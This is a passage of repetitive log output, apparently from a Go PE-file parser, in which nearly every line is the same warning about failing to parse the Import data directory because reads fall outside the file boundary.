+time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:47+01:00 